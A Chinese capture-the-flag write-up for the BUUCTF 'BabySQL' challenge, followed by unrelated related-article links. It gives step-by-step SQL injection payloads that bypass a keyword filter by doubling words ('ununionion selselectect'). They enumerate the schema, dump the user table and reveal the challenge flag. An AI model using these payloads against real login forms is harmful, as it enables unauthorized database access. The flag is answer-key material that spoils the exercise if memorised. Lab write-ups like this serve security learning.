BUU13 [极客大挑战 2019]BabySQL 1

题目中过滤了or,需要使用万能密码的变形(将or替换成 || )

登进去没什么用,我们直接在用户名中输入or,select,union,where,from等词语全被过滤了,那还玩个锤子

网上一搜需要使用双写绕过

我们输入1' || 1=1 order by 3 #,发现or和by被过滤掉了

所以需要双写 or 和 by 输入 1' || 1=1 oorrder bbyy 3 #

登陆成功,说明有三列

1' ununionion selselectect 1,2,database() #

输入1' ununionion selselectect 1,2,group_concat(table_name) frfromom information_schema.tables whwhereere table_schema='geek' #

information里头有or,也被过滤了,所以需要双写

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='b4bsql'#

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

flag{fe9beefe-0390-4b0c-8214-57bfbaa43ae7}

和Lovely SQL1一个套路,只不过需要双写绕过

相关推荐
缺点内向12 小时前
如何在C#中添加Excel文档属性?
开发语言·数据库·c#·.net·excel
生信大表哥12 小时前
生物信息分析:Singularity容器技术深度解析与实战指南
数据库·r语言·rstudio·生信入门·数信院生信服务器
千百元12 小时前
实时监控磁盘I/O性能
linux·运维·数据库
我的offer在哪里12 小时前
如何查看和修改 MySQL 底层文件(分「查看」「修改」维度,严格区分安全 / 危险操作)
mysql·安全·adb
卿雪12 小时前
缓存异常:缓存击穿、缓存穿透、缓存雪崩 及其解决方案
java·数据库·redis·python·mysql·缓存·golang
无限进步_12 小时前
C语言文件操作函数解析
c语言·开发语言·数据库·c++·后端·visual studio
q_191328469513 小时前
基于Springboot2+Vue2+uniapp的单商家在线点餐外卖小程序
vue.js·spring boot·mysql·小程序·uni-app·计算机毕业设计
K哥112513 小时前
【9天Redis系列】数据结构+string
数据结构·数据库·redis
我的offer在哪里13 小时前
MySQL 高频细节问题(覆盖性能、存储、运维、故障排查,补充前文未深入的核心细节)
android·运维·mysql